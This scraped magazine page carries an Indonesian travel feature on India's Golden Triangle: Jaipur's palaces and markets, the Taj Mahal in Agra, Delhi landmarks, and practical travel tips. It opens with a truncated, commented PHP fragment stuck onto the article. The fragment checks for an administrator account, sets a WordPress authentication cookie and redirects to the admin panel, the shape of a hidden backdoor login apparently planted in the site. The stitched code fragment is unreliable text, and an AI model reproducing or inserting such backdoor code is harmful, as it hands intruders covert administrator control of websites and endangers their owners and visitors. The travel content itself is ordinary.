user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Travel
Dua Kepribadian India

18 Jul 2011

Jet Airways mempersembahkan eksotisme tiga kota padat sejarah di India, yakni Jaipur, Agra, dan Delhi, kepada femina. April lalu, redaktur madya femina, Tria Nuragustina, mengabadikan kecantikan istana dan warna-warni budaya penduduk di ketiga kota yang dijuluki the Golden Triangle itu.

Sebagian orang memandang India sebagai surga, karena melihat harta karun kemegahan bangunan lama yang tak terlukis kata. Tapi, tetap ada kenyataan yang tak bisa dipungkiri, yaitu sisi India yang kotor dan jumlah penduduk yang hampir setara Cina! Meski demikian, justru lewat kejujuran denyut kota, saya menemukan ‘surga’ India yang sesungguhnya.

Jaipur
Antara Istana & Dunia Nyata
Pembelajaran saya berawal di Bandara Sanganer, di Kota Jaipur, Rajasthan. Jaipur populer sebagai tujuan wisata karena sejarah kotanya yang mengesankan. Kerajaan India pada era-era awal, merekah di kota ini. Sejumlah istana berdiri, terlebih ketika Jaipur menjadi ibu kota Rajasthan pada 1727. Salah satu yang menandainya adalah berdirinya City Palace.

City Palace, istana tempat berpusatnya kerajaan Jaipur, didirikan atas komando Maharaja Sawai Jai Singh II, penguasa pertama Jaipur. Fungsi City Palace kini adalah sebagai kediaman penerus ke-10 takhta Maharaja. Bilah bangunan yang tidak bisa diakses publik adalah Chandra Mahal, kediaman raja. Saya membayangkan suara dentuman drum dan shehnai (sejenis seruling) yang khas dibunyikan prajurit acap kali raja keluar-masuk istana.

Sisa bagian City Palace berupa museum Mubarak Mahal dan ruang-ruang terbuka megah. Fungsinya antara lain sebagai lahan upacara dan berpesta, yang biasanya diisi hiburan tarung gajah. Garis desain kerajaan Hindu yang melibatkan peleburan arsitektur Mughal dan Rajput ini kaya warna, penuh ornamen ukir pada facade. “Banyak fotografer yang bela-belain datang ke Jaipur demi mengejar objek foto terindah,” jelas seorang teman wartawan.

Suhu mencapai 38 derajat Celsius di kota yang dahulunya adalah gurun pasir ini. Bus turis membawa saya menembus keringnya siang Jaipur. Dari dalam bus yang adem, saya menyaksikan realitas kehidupan kota. Gelandangan pulas tertidur di taman kota dan trotoar. Mobil-mobil bersesakan di jalan raya saling mengklakson dan menyalib. Anjing-anjing liar seliweran, bahkan ada pula sapi-sapi yang asyik melenggang di pinggir jalan. Tampaknya, tak ada orang yang berani mengusir hewan yang dianggap sakral ini. (f)



Sari dan Henna
Saya tak melewatkan kesempatan untuk belanja sari dan gelang warna-warni di Pasar Sireh Deori di pusat kota. Soal sari, kualitas baik biasanya dimulai dari harga 1.000 rupee (Rp200.000). Pasar disesaki pedagang kaki lima, kebanyakan menawarkan jasa menggambar henna. Saya jatuh cinta pada pemandangan wanita-wanita yang tangan dan kakinya sedang dilukisi henna. Mereka jongkok sambil bergosip di tengah pasar, layaknya sedang melakukan manikur.

Di kawasan ini, jejeran bangunannya diberi cat terakota. Kondisi unik inilah yang membuat Jaipur melekat dengan nama Pink City. Ada alasan di balik tindakan yang di luar kebiasaan ini. Konon, Maharaja begitu mengelukan Dewa Shiwa. Kebetulan warna favorit dewa ini adalah merah muda (yang zaman lalu diterjemahkan dengan warna terakota). Alasan lain, hal ini dilakukan untuk menyambut kedatangan Raja Inggris, Edward VII, pada 1876.

Tak jauh dari sini terdapat Hawa Mahal, atau Palace of Winds, sebagai satu-satunya kediaman Maharaja Sawai Jai Singh II di luar City Palace. Ia membangunnya tahun 1799 agar leluasa menyaksikan keriuhan pasar malam dari lubang-lubang di seluruh balkon Hawa Mahal. (f)


Benteng Pemagar Kota
Dengan menumpang mobil jip, saya menempuh 11 km perjalanan menuju kawasan Amber, lokasi lama ibu kota Rajasthan. Sebelum menyaksikan kokohnya Benteng Amber, saya naik gajah di area sekitar benteng. Dari atas gajah ini saya bisa melihat benteng yang membentang panjang dan berwarna salem dari kejauhan. Di samping benteng, mengalir Sungai Maota yang tenang.

Saya melewati banyak toko kecil yang menjual periuk-periuk tanah liat dan piring-piring khas India. Sayang, karena terbatasnya waktu, saya tak punya kesempatan untuk berhenti sejenak di toko-toko rakyat yang unik ini.

Sampai di benteng, saya menuju bagian inti Istana Amber. Untuk memasuki wilayah istana, terdapat gerbang cantik Ganesh Pol yang dipenuhi mozaik bebatuan mulia. Bagian dalam benteng terbagi atas beberapa fungsi. Salah satunya, Zenana, arena berkumpulnya para istri raja yang dikelilingi kamar-kamar. Dahulu, kamar-kamar ini bertirai, untuk memberikan privasi, agar tiada yang mengetahui dengan istri mana raja menghabiskan malam.

Saya juga melewati Albert Hall. Bangunan megah berarsitektur Eropa ini adalah museum. Tampilan luarnya dibuat semirip mungkin dengan Victoria and Albert Museum di London. Terlihat pula hotel-hotel megah dengan pilar-pilar besar yang mirip istana. Meski bukan kota metropolitan, Jaipur adalah gudangnya hotel megah. Karena, banyak bekas istana India yang dikelola sebagai hotel premium. (f)



Agra
Taj Mahal & Pedagang Suvenir
Pada abad ke-16 dan 17, Agra sempat menjadi ibu kota India. Di sinilah Taj Mahal berdiri. Contoh karya arsitektur muslim India ini adalah simbol cinta abadi Kaisar Shah Jahan untuk mendiang istrinya, Arjuman Bano Begum, yang meninggal pada usia 39 tahun. Tepatnya, ketika ia melahirkan anak ke-14 pada tahun 1631. Demi mengenang sang istri yang dikenal dengan sebutan Mumtaz Mahal, sebuah makam berlindungkan kubah mewah dibangun tahun 1631 dan selesai tahun1648.
Advertisement

Pemeriksaan di pintu wisata Taj Mahal sangat ketat. Mungkin, karena banyak wisatawan asing, keamanannya benar-benar diperhatikan. Sebelum menapaki jalan utama, bangunan bernama Darwaza menyambut. Langit-langit bangunan di bagian ujung yang berbentuk melengkung sering kali menjadi ‘pigura’ alami untuk angle pemotretan Taj Mahal. Keluar dari Darwaza, ada Taman Charbagh, taman bunga berair mancur di sepanjang jalan menuju makam. Di dalam Taj Mahal, dua makam rekaan Kaisar dan istri dibangun. Makam sesungguhnya berada di lantai dasar yang tak bisa diakses pubik.

Saya pilu membayangkan kaisar itu memimpin 20.000 tenaga kerja, di tengah kedukaannya yang dalam. Ia menginstruksikan agar marmer putih dari Jodhpur menjadi bahan bangunan utama Taj Mahal. Marmer ini melapisi bangunan setinggi 57 meter tersebut. Bahan bangunan didatangkan dari seluruh India dan Asia Tengah dengan menggunakan seribu gajah. Bebatuan mulia dari berbagai wilayah digunakan.

Di tengah makam, saya berdesakan dengan banyak orang India. “Mereka ini tak habis-habisnya mendatangi Taj Mahal. Tempatnya yang mewah, dengan taman indah, ibarat oase bagi rakyat yang sehari-hari berhadapan dengan kekumuhan,” kata pemandu wisata. Keluar dari Taj Mahal, saya disambut oleh penjual T-shirt, miniatur, sampai buku tentang Taj Mahal. Dilihat dari jumlah dan cara menjual yang setengah memaksa, Taj Mahal tampaknya memang tempat menggantungkan hidup bagi masyarakat sekitar. Jangan khawatir, belanja berkantong-kantong tak akan membuat dompet longsor. Harga barang dan jasa di negara ini terbilang murah.

Cuci mata disambung lagi ke benteng megah dari batu merah bernama Red Fort, yang dibangun di atas taman di dekat Sungai Yamuna pada tahun 1565. Di dalamnya, terdapat istana-istana kecil dengan gaya arsitektur Mughal. (f)



Delhi
Wajah Metropolitan
Di jalan menuju Delhi, saya merasakan sedikit perbaikan lanskap. Ladang-ladang berwarna kehijauan. Nadi kehidupan metropolitan berdenyut kian kuat, seiring mendekati Delhi. Selain Mumbay, Delhi adalah kota modern di India, terutama di bagian area barunya, New Delhi. Pertokoan, bangunan sekolah, dan kafe modern menampakkan gengsinya. Saya sempat singgah untuk makan siang di hotel mewah, Oberoi.

Memasuki lobi hotel, mata saya melihat wanita-wanita urban India. Manajer hotel yang datang menyambut adalah seorang wanita yang mengenakan sari. Di toko pastry hotel, tampak wanita-wanita yang juga mengenakan sari warna-warni, asyik menyesap cocktail, ataupun makan kue Prancis, macaroon. Wanita India berpoles make up sempurna, menenteng tas bermerek dan smartphone berlalu-lalang.

Namun, agenda di Delhi tentunya tak dipenuhi segala yang mewah. Saya melihat bahwa kemolekan Delhi yang sesungguhnya terletak di bangunan lama. Sebagian besar bangunan itu masih terawat dengan baik.

Pada sore hari, di pusat kota, saya menyaksikan landmark kota, India Gate. Landmark ini dibangun untuk menandai wafatnya tentara India dan Inggris yang berjuang saat Perang Dunia I. Gerbang ini memiliki kemiripan bentuk dengan Champs Elysées, Paris, namun dalam versi lebih kecil, selebar 9 meter saja. Saya berpiknik di rumputnya dan menyejukkan mata memandangi kolam buatan.

Jika ingin wisata religi, Jama Masjid, masjid terbesar di India, juga perlu dikunjungi. Tiga kuncup kubah marmer, terlihat mewah dari kejauhan. Melihat luasnya teras masjid, saya perkirakan masjid ini  sanggup menampung sekitar dua ribuan jemaah. Saya menyaksikan banyak bangunan pemerintahan semacam President House, sebelum akhirnya menuntaskan perjalanan di Rajghat, monumen yang merupakan lokasi kremasi tokoh Mahatma Gandhi.

Saya sempat mengunjungi Red Fort, di area kota tua Delhi (old Delhi). Nama benteng ini sama dengan Red Fort di Agra, karena terbuat dari material batu merah yang sama. Namun, Red Fort di Delhi dibangun atas komando Kaisar Shah Jahan selama kurun waktu 9 tahun. (f)



Tip
•    Cuaca. Musim panas di India sangat menantang. Sedia air mineral agar tidak dehidrasi, kacamata hitam, dan kenakan pakaian berwarna terang yang tipis.
•    Toilet. Toilet yang layak jarang ditemui. Manfaatkan kesempatan saat di hotel atau restoran.
•    Makanan. Sebaiknya hindari jajan di pinggir jalan demi alasan kebersihan. Warga Delhi dan Mumbay sekalipun masih sering keracunan makanan.
•    Pemandu. Biayanya bisa dimulai dari 2.000 rupee untuk satu lokasi wisata (sekitar Rp400.000). Agar lebih ekonomis, gunakan harga paket.
•    Transportasi. Bus umum selalu sesak. Menunggu taksi di pinggir jalan bisa memakan waktu lama. Menyetir mobil sewaan pun tak menolong, dikarenakan marka atau rambu jalan yang tak mudah dimengerti dan kebiasaan berkendara yang kurang tertib. Sewalah sopir untuk mengantisipasi semua ini.


FOTO: TN, SIPA.




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?